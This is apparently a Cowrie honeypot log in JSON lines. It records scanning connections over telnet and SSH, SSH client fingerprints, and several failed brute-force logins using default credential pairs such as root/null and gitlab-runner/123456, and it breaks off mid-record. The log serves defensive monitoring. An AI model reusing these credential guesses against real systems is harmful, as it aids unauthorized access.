{"eventid":"cowrie.session.closed","duration":30.953351736068726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:24.674004Z","src_ip":"66.113.160.81","session":"62fccccadd75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":45732,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9742633b508","protocol":"telnet","message":"New connection: 66.113.160.81:45732 (159.203.135.109:23) [session: a9742633b508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:24.784902Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":53278,"dst_ip":"159.203.135.109","dst_port":23,"session":"d778b3dcc082","protocol":"telnet","message":"New connection: 103.176.85.233:53278 (159.203.135.109:23) [session: d778b3dcc082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:24.866735Z"}
{"eventid":"cowrie.session.closed","duration":30.842096090316772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:25.153975Z","src_ip":"69.60.120.238","session":"ed8f2356f44f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46670,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a81dba2423c","protocol":"ssh","message":"New connection: 192.109.200.78:46670 (10.17.0.5:22) [session: 8a81dba2423c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:25.626639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:25.631590Z","src_ip":"192.109.200.78","session":"8a81dba2423c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.922976970672607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:25.684594Z","src_ip":"66.113.160.81","session":"c1487fff07a2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:25.713957Z","src_ip":"192.109.200.78","session":"8a81dba2423c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:25.964376Z","src_ip":"192.109.200.78","session":"8a81dba2423c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.974551677703857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:26.051734Z","src_ip":"137.184.59.230","session":"7d4c5c98e2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.95.121","src_port":54602,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d18219d3084","protocol":"telnet","message":"New connection: 139.59.95.121:54602 (159.203.135.109:23) [session: 9d18219d3084]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:26.252501Z"}
{"eventid":"cowrie.session.closed","duration":30.801790714263916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:26.686032Z","src_ip":"66.113.160.81","session":"ccabb60b84db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":46922,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7209b09efb2","protocol":"telnet","message":"New connection: 66.113.160.81:46922 (159.203.135.109:23) [session: e7209b09efb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:26.823672Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":46118,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2fac5a918e7","protocol":"telnet","message":"New connection: 103.176.85.233:46118 (159.203.135.109:23) [session: c2fac5a918e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:26.881659Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":33578,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca95b7cfa7a6","protocol":"telnet","message":"New connection: 157.250.199.120:33578 (159.203.135.109:23) [session: ca95b7cfa7a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:27.034962Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:27.049218Z","src_ip":"192.109.200.78","session":"8a81dba2423c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.344184637069702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:27.126514Z","src_ip":"172.83.83.168","session":"8fb1332f1b9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":47806,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c3ca6be1d8","protocol":"telnet","message":"New connection: 69.60.120.238:47806 (159.203.135.109:23) [session: a0c3ca6be1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:27.247040Z"}
{"eventid":"cowrie.session.closed","duration":30.815619945526123,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:27.691978Z","src_ip":"66.113.160.81","session":"84ed8682ffa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188007593154907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:27.776590Z","src_ip":"157.250.199.120","session":"60d0602f153b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.879432201385498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:28.020637Z","src_ip":"157.250.199.120","session":"5e24a9a98a12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":46120,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fee5e9eb156","protocol":"telnet","message":"New connection: 103.176.85.233:46120 (159.203.135.109:23) [session: 6fee5e9eb156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:28.544687Z"}
{"eventid":"cowrie.session.closed","duration":30.809826374053955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:28.809511Z","src_ip":"185.216.203.48","session":"d88db7e6c829","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":48302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ec313a857a4","protocol":"telnet","message":"New connection: 66.113.160.81:48302 (159.203.135.109:23) [session: 5ec313a857a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:28.846648Z"}
{"eventid":"cowrie.session.closed","duration":30.89180898666382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.016307Z","src_ip":"157.250.199.120","session":"6480e7cf8937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998228549957275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.060546Z","src_ip":"157.250.199.120","session":"7a5e0cc5c301","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96604585647583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.084620Z","src_ip":"128.136.227.204","session":"8ecb1e62720f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.163607120513916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.494905Z","src_ip":"172.104.129.70","session":"db36bb39530f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37208127975464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.683864Z","src_ip":"66.113.160.81","session":"f9eabbce8b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47882,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc97a1e556e1","protocol":"ssh","message":"New connection: 192.109.200.78:47882 (10.17.0.5:22) [session: cc97a1e556e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.724406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.729553Z","src_ip":"192.109.200.78","session":"cc97a1e556e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:29.811954Z","src_ip":"192.109.200.78","session":"cc97a1e556e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:30.068621Z","src_ip":"192.109.200.78","session":"cc97a1e556e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.770633459091187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:30.154894Z","src_ip":"69.60.120.238","session":"dfcf8b4bc241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.250.199.120","src_port":57632,"dst_ip":"159.203.135.109","dst_port":23,"session":"44fdd10bd359","protocol":"telnet","message":"New connection: 157.250.199.120:57632 (159.203.135.109:23) [session: 44fdd10bd359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:30.384834Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.186.175.50","src_port":34354,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb4c9d4bacae","protocol":"telnet","message":"New connection: 31.186.175.50:34354 (159.203.135.109:23) [session: cb4c9d4bacae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:30.590139Z"}
{"eventid":"cowrie.session.closed","duration":30.827258110046387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:31.016672Z","src_ip":"137.184.59.230","session":"37dc4725872a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:31.153932Z","src_ip":"192.109.200.78","session":"cc97a1e556e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":49768,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f2eb8f086ba","protocol":"telnet","message":"New connection: 66.113.160.81:49768 (159.203.135.109:23) [session: 4f2eb8f086ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:31.307664Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":50190,"dst_ip":"159.203.135.109","dst_port":23,"session":"83d8382016b2","protocol":"telnet","message":"New connection: 66.113.160.81:50190 (159.203.135.109:23) [session: 83d8382016b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:32.081487Z"}
{"eventid":"cowrie.session.closed","duration":31.10342526435852,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:32.844624Z","src_ip":"66.113.160.81","session":"b13bb83cf601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47900,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e3c802c4f0c","protocol":"ssh","message":"New connection: 192.109.200.78:47900 (10.17.0.5:22) [session: 3e3c802c4f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:33.827874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:33.832553Z","src_ip":"192.109.200.78","session":"3e3c802c4f0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:33.917234Z","src_ip":"192.109.200.78","session":"3e3c802c4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.056731700897217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:34.092772Z","src_ip":"157.250.199.120","session":"f738bde57e1f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:34.164724Z","src_ip":"192.109.200.78","session":"3e3c802c4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06462860107422,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:34.224709Z","src_ip":"66.113.160.81","session":"7a13b6eb28d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749866247177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:34.237498Z","src_ip":"31.186.175.50","session":"5f5d9b4f18ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.160.81","src_port":51658,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9724e38b1a8","protocol":"telnet","message":"New connection: 66.113.160.81:51658 (159.203.135.109:23) [session: f9724e38b1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:34.823698Z"}
{"eventid":"cowrie.session.closed","duration":30.97963857650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:35.055400Z","src_ip":"157.250.199.120","session":"3adf17f0d240","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:35.252407Z","src_ip":"192.109.200.78","session":"3e3c802c4f0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":46136,"dst_ip":"159.203.135.109","dst_port":23,"session":"4399addcc71e","protocol":"telnet","message":"New connection: 103.176.85.233:46136 (159.203.135.109:23) [session: 4399addcc71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:35.612741Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":39328,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7a275ce6790","protocol":"telnet","message":"New connection: 172.104.129.70:39328 (159.203.135.109:23) [session: f7a275ce6790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:35.670645Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":46148,"dst_ip":"159.203.135.109","dst_port":23,"session":"f22e23958ff4","protocol":"telnet","message":"New connection: 103.176.85.233:46148 (159.203.135.109:23) [session: f22e23958ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:35.691579Z"}
{"eventid":"cowrie.session.closed","duration":30.830793380737305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:36.058126Z","src_ip":"62.210.114.58","session":"5347e88a7c9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831244230270386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:36.065035Z","src_ip":"62.210.114.58","session":"8a0ae2211724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528568983078003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:36.090925Z","src_ip":"157.250.199.120","session":"0e3a97a7e1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":50156,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6f43d583eb","protocol":"telnet","message":"New connection: 69.60.120.238:50156 (159.203.135.109:23) [session: aa6f43d583eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:36.226454Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.129.70","src_port":39596,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d4392ec73d","protocol":"telnet","message":"New connection: 172.104.129.70:39596 (159.203.135.109:23) [session: 56d4392ec73d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:36.670014Z"}
{"eventid":"cowrie.session.closed","duration":30.822868824005127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:37.058429Z","src_ip":"62.210.114.58","session":"b6026ed372b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.628295421600342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:37.113078Z","src_ip":"103.176.85.233","session":"5e4b6976ba94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028085947036743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:37.252251Z","src_ip":"66.113.160.81","session":"91f3cb3bd4e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":43988,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c0391c09ad6","protocol":"telnet","message":"New connection: 103.176.85.233:43988 (159.203.135.109:23) [session: 7c0391c09ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:37.508284Z"}
{"eventid":"cowrie.session.closed","duration":30.734606981277466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:37.679222Z","src_ip":"66.113.160.81","session":"653b54606345","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47916,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2f0e32f212f","protocol":"ssh","message":"New connection: 192.109.200.78:47916 (10.17.0.5:22) [session: d2f0e32f212f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.007377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:25:38.015257Z","src_ip":"192.109.200.78","session":"d2f0e32f212f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v